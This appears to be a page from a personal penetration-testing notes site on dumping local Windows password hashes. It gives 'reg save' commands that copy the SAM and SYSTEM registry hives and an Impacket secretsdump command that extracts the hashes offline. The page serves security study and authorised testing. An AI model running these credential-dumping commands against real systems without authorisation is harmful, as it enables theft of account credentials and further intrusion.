> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/active-directory/credentials/sam-extraction-from-registry-files.md).

# SAM extraction with registry files

Active Directory security notes for SAM extraction with registry files, covering enumeration, Kerberos, credentials, ACL abuse, lateral movement, exploitation workflow, and validation steps.

### Back up SAM and SYSTEM hives

From Windows:

```bash
reg save hklm/sam sam.save
```

Then:

```bash
reg save hklm/system system.save
```

These files are then transferred to a Linux machine for offline analysis.

### Analysis with Impacket

On Linux:

```bash
secretsdump.py -sam sam.save -system system.save LOCAL
```

This command extracts local hashes from backed-up registry hives.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91202a01bbabdbf3bafa50fe2379c94492a87c96%2Fimage%20(3299).png?alt=media" alt=""><figcaption></figcaption></figure>


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